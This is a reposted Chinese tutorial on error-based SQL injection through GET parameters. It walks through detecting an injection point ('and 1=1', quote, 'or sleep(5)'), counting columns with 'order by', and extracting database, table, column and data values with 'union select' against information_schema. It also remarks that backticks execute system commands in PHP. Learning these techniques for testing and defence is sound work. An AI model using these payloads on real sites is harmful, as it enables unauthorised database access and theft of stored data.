注入:注入攻击的本质就是把用户输入的数据当做代码执行。
这里有两个关键条件:
1、 用户能够控制输入
2、 原本程序要执行的代码,拼接了用户输入的数据然后进行执行
显错注入的基本流程:
判断是否存在注入点 –> 猜测字段数 -> 寻找输出点 -> 利用系统自带库查询表名,字段名 –> 拿到想要的数据
古老的判断方法
判断是否存在注入
1=1 页面正常
1=2 页面不正常
and 和 or 或
真 and 真 =真
真 and 假 =假
1=1 (成立)
1=2(不成立)
select * from news where id = 1 and 1=1
id=1 真 1=1 真 页面正常
id=1 真 1=2 假 页面不正常
简单的判断方法:
加’号,会报错就存在注入,不报错就不存在注入
程序是一个严谨的东西,引号要成双成对,只有一个引号会报错
方法三:
可以在id的数值后面减一
id=2是页面a,id=1是页面b
2-1如果显示页面b,那2-1 中-号是运算符号,它起了作用,如果是字符串就不会起作用
方法四:
在后面加 or sleep(5) 让页面休眠5秒,如果休眠了,那么就存在注入
猜测字段数:
order by
order by 5,如果页面显示正常就存在5个字段,反之即不存在
找到输入点:
如果字段数有5个字段就是
union select 1,2,3,4,5
利用自带库查询表名,字段名:
union select 1,2,3,4,database()
在回显点5处得到数据库的名字,
union select 1,2,3,4,table_name from information_schema.tables where table_schema=’数据库的名字’ limit 0,1
在回显点5处得到表名
union select 1,2,3,4,column_name from information_schema.columns where table_schema=’数据库的名字’ limit 0,1
在回显点5处得到字段名
拿到数据:
union select 1,2,3,4,字段名 from 表名 limit 0,1
题外话:
`反引号
在js中可以代替(‘
在php中可以直接执行系统命令
联合查询是可以用
union all select 代替 union select
因为有的数据库是不支持union select
本文来源于:【web安全】sql显错注入之get注入的基本流程-变化吧
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。
- 赞助本站
- 微信扫一扫
-
- 加入Q群
- QQ扫一扫
-
评论